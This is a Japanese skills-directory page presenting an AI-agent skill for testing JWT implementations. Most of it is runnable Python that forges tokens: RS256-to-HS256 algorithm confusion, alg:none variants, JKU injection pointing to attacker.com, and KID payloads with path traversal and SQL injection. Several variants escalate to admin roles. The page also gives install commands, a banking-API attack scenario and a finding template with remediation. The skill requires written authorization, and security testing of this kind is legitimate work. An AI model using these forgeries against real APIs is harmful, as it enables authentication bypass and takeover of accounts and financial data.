exploiting-jwt-algorithm-confusion-attack について
JWT 実装の許可されたセキュリティテストを支援し、アルゴリズム混同や関連するヘッダー攻撃経路を扱うスキルです。トークンと鍵の調査手順を示し、事前の書面による許可を求めています。
主な機能
- 01JWT トークンと公開鍵の調査
- 02RS256 から HS256 へのアルゴリズム混同のテスト
- 03alg:none による署名検証回避の確認
- 04JKU と KID ヘッダーインジェクションのテスト
- 05許可アルゴリズムの強制適用を評価
活用シーン
- 01JWT 認証 API の評価
- 02JWT ミドルウェアのアルゴリズム制限の検証
- 03鍵選択ヘッダーのインジェクション不備のテスト
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-jwt-algorithm-confusion-attackインストール後、Claude Code で/exploiting-jwt-algorithm-confusion-attackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
JWT アルゴリズム混同攻撃の悪用
使用するタイミング
- RS256(非対称)JWT トークンを認証に使用する API をテストし、HS256 へのアルゴリズムダウングレードが可能か確認する場合
- サーバーが署名検証を省略する alg:none バイパスについて、JWT 実装を評価する場合
- 公開鍵が HMAC シークレットとして使用される鍵混同の脆弱性について、JWT ライブラリを評価する場合
- kid(キー ID)、jku(JWK セット URL)、x5u(X.509 URL)のヘッダーパラメーターに対するインジェクションをテストする場合
- API サーバーが特定のアルゴリズムを強制し、JWT ヘッダーを信頼しないことを検証する場合
書面による許可なしに使用しないでください。JWT の悪用は、認証バイパスやアカウント乗っ取りにつながる可能性があります。
前提条件
- 対象 API と、スコープに含まれる JWT ベースの認証を明記した書面による許可
- 対象 API の有効な JWT トークン(正規の認証を通じて取得したもの)
- サーバーの RSA 公開鍵(JWKS エンドポイント、TLS 証明書、または公開鍵エンドポイントから取得可能)
PyJWT、cryptography、requestsライブラリを備えた Python 3.10 以降- JWT 攻撃テストを自動化する jwt_tool
- JWT Editor 拡張機能を備えた Burp Suite
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用できます。自分が所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
ワークフロー
ステップ 1:JWT トークンの分析
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "[email protected]", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# Decode JWT parts
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
ステップ 2:公開鍵の取得
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# Extract RSA public key from JWKS
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # First key
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")
ステップ 3:アルゴリズム混同攻撃(RS256 から HS256)
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
If the server uses a generic verify() that trusts the alg header, it will use
the public key as the HMAC secret, matching our signature.
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify payload if requested
if modifications:
payload.update(modifications)
# Create header with HS256
new_header = {"alg": "HS256", "typ": "JWT"}
# Encode header and payload
header_b64 = base64.urlsafe_b64encode(
json.dumps(new_header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with HMAC-SHA256 using the RSA public key as the secret
signing_input = f"{header_b64}.{payload_b64}".encode()
# Use the raw PEM bytes as the HMAC key
if isinstance(public_key_pem, str):
public_key_pem = public_key_pem.encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# Attack 1: Algorithm confusion with same claims
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
# Attack 2: Algorithm confusion with elevated privileges
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
modifications={"role": "admin", "sub": "[email protected]"})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
# Attack 3: Try different public key formats
key_formats = [
public_key_pem, # Full PEM
public_key_pem.strip(), # Stripped whitespace
public_key_pem.replace(b'\n', b''), # No newlines
public_key_pem.decode().split('\n')[1:-1], # Base64 only
]
for i, key_format in enumerate(key_formats):
if isinstance(key_format, list):
key_format = ''.join(key_format).encode()
elif isinstance(key_format, str):
key_format = key_format.encode()
token = forge_hs256_with_public_key(valid_token, key_format)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
ステップ 4:アルゴリズム none 攻撃
def forge_none_algorithm(token, modifications=None):
"""Create tokens with alg:none variations to bypass signature verification."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Different "none" algorithm variations
none_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"typ": "JWT"}, # Missing alg entirely
]
tokens = []
for variant_header in none_variants:
header_b64 = base64.urlsafe_b64encode(
json.dumps(variant_header).encode()).decode().rstrip('=')
# Different signature options
sig_options = [
"", # Empty signature
".", # Just a dot
parts[2], # Original signature
base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte
]
for sig in sig_options:
tokens.append(f"{header_b64}.{payload_b64}.{sig}")
return tokens
# Test all none algorithm variations
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
# Test with privilege escalation
admin_none_tokens = forge_none_algorithm(valid_token,
modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print("[CRITICAL] Admin access via alg:none bypass")
break
ステップ 5:JKU および KID ヘッダーのインジェクション
import os
# Attack: JKU (JWK Set URL) injection
# Host attacker-controlled JWKS that contains our key pair
def generate_attacker_jwks():
"""Generate an RSA key pair and JWKS for the attacker's server."""
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# Generate attacker key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e_b64 = base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"alg": "RS256",
"n": n_b64,
"e": e_b64
}]
}
return private_key, jwks
attacker_private_key, attacker_jwks = generate_attacker_jwks()
# Create JWT with JKU pointing to attacker server
def forge_jku_token(payload_modifications, jku_url):
"""Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
payload.update(payload_modifications)
header = {
"alg": "RS256",
"typ": "JWT",
"kid": "attacker-key-1",
"jku": jku_url # Points to attacker-hosted JWKS
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with attacker's private key
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
signing_input = f"{header_b64}.{payload_b64}".encode()
signature = attacker_private_key.sign(
signing_input,
padding.PKCS1v15(),
hashes.SHA256()
)
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# Test JKU injection with various URLs
jku_urls = [
"https://attacker.com/.well-known/jwks.json",
"https://attacker.com/jwks",
# Bypass URL filters
f"{BASE_URL}@attacker.com/jwks",
f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]
for jku in jku_urls:
token = forge_jku_token({"role": "admin"}, jku)
# Note: This test requires hosting the attacker JWKS at the specified URL
print(f" JKU injection payload generated for: {jku}")
# KID injection (SQL injection in kid parameter)
kid_injection_payloads = [
"../../../../../../dev/null", # Path traversal to empty file
"../../../../../../proc/sys/kernel/hostname",
"' UNION SELECT 'secret-key' -- ", # SQL injection in kid lookup
"' OR '1'='1",
"../../../etc/passwd",
"https://attacker.com/key.pem", # URL-based kid
]
for kid in kid_injection_payloads:
modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
header_b64 = base64.urlsafe_b64encode(
json.dumps(modified_header).encode()).decode().rstrip('=')
payload_b64 = valid_token.split('.')[1]
# Sign with the expected key material from the injection
signing_input = f"{header_b64}.{payload_b64}".encode()
# For path traversal to /dev/null, the key would be empty
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
token = f"{header_b64}.{payload_b64}.{sig_b64}"
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] KID injection successful: {kid}")
主要な概念
| 用語 | 定義 |
|---|---|
| アルゴリズム混同 | サーバーが JWT の alg ヘッダーを信頼することで、攻撃者が RS256 から HS256 に切り替え、公開鍵を HMAC シークレットとして使って署名できる攻撃 |
| alg:none 攻撃 | ライブラリがアルゴリズムの選択を強制しない場合に、JWT アルゴリズムを「none」に設定して署名検証を完全にバイパスすること |
| JKU インジェクション | jku(JWK セット URL)ヘッダーを操作して攻撃者が管理する JWKS エンドポイントを指定し、攻撃者自身の署名鍵を使用できるようにすること |
| KID インジェクション | kid(キー ID)ヘッダーパラメーターに SQL、パストラバーサル、または URL ペイロードを注入し、鍵の選択を操作したり任意のファイルを読み取ったりすること |
| 鍵混同 | サーバーが非対称検証から対称検証に誤って切り替える際に、RSA 公開鍵を HMAC シークレットとして使用すること |
| JWKS(JSON Web Key Set) | JWT 署名の検証にサーバーが使用する公開鍵を含む JSON 構造体。通常は既知のエンドポイントでホストされています |
ツールとシステム
- jwt_tool:アルゴリズム混同、none バイパス、kid インジェクションなど、12 種類以上の攻撃モードを備えた Python ベースの JWT テストツールキット
- Burp Suite JWT Editor:アルゴリズム操作機能を備えた、JWT のデコード、編集、再署名用の拡張機能
- hashcat(モード 16500):HS256/HS384/HS512 で署名された JWT の HMAC シークレットを GPU で高速にブルートフォースするツール
- John the Ripper:ワードリスト攻撃やルールベース攻撃を用いて JWT シークレットを CPU でクラックするツール
- jwt.io:トークンをすばやく分析するためのオンライン JWT デコーダーおよびデバッガー
よくあるシナリオ
シナリオ:銀行 API でのアルゴリズム混同
コンテキスト:銀行 API は、RS256 署名付き JWT を認証に使用しています。JWKS エンドポイントは公開されています。この API は、高い保証レベルの認証を必要とする金融取引を処理します。
アプローチ:
- 一般ユーザーとして認証し、有効な JWT を取得する
/.well-known/jwks.jsonの JWKS エンドポイントから RSA 公開鍵を抽出する"alg": "HS256"ヘッダーを持つ新しい JWT を作成し、RSA 公開鍵を HMAC シークレットとして使用して署名する- 偽造したトークンを
GET /api/v1/users/meに送信する。サーバーが受け入れる(アルゴリズム混同を確認) - ペイロードを変更して
"role": "admin"および"sub": "[email protected]"を設定し、公開鍵で署名する - 管理者用エンドポイントにアクセスする。
GET /api/v1/admin/transactionsはすべての取引履歴を返す - alg:none をテストする。サーバーに拒否される(部分的な緩和策)
- SQL ペイロードを使った kid インジェクションをテストする。kid パラメーターはキー検索の SQL クエリに使用されており、SQL インジェクションが可能
落とし穴:
- HMAC シークレットとして使用する公開鍵の形式を間違える(ヘッダーの有無を含む PEM、DER、生バイト列)
- 最初の形式で有効な署名が生成されない場合に、複数の公開鍵形式を試さない
- alg:none への対策があるため、アルゴリズム混同も緩和されていると思い込む
- JWT ヘッダーに kid パラメーターがある場合に、kid インジェクションの手法をテストしない
- サーバーが URL からキーを取得する場合に、JKU/x5u ヘッダーインジェクションを見落とす
出力形式
## Finding: JWT Algorithm Confusion Enables Authentication Bypass
**ID**: API-JWT-001
**Severity**: Critical (CVSS 9.8)
**CVE Reference**: CVE-2024-54150 (related pattern)
**Affected Component**: JWT authentication middleware
**Description**:
The API's JWT verification library trusts the algorithm specified in
the JWT header rather than enforcing a fixed algorithm. An attacker can
change the algorithm from RS256 to HS256 and sign the token using the
server's RSA public key (available from the JWKS endpoint) as the HMAC
secret. The server then uses the same public key to verify the HMAC
signature, which succeeds, allowing the attacker to forge tokens for
any user with any role.
**Attack Chain**:
1. Obtain public key: GET /.well-known/jwks.json
2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. Sign with HMAC-SHA256 using RSA public key PEM as secret
4. Access admin API: GET /api/v1/admin/transactions -> 200 OK
**Impact**:
Complete authentication bypass. An attacker can forge tokens for any
user including administrators, accessing all financial transactions,
user data, and administrative functions.
**Remediation**:
1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
2. Never trust the alg header from the JWT for algorithm selection
3. Update the JWT library to the latest version with algorithm confusion protections
4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
5. Implement token binding to prevent forged token acceptance
コメント
Markdown 対応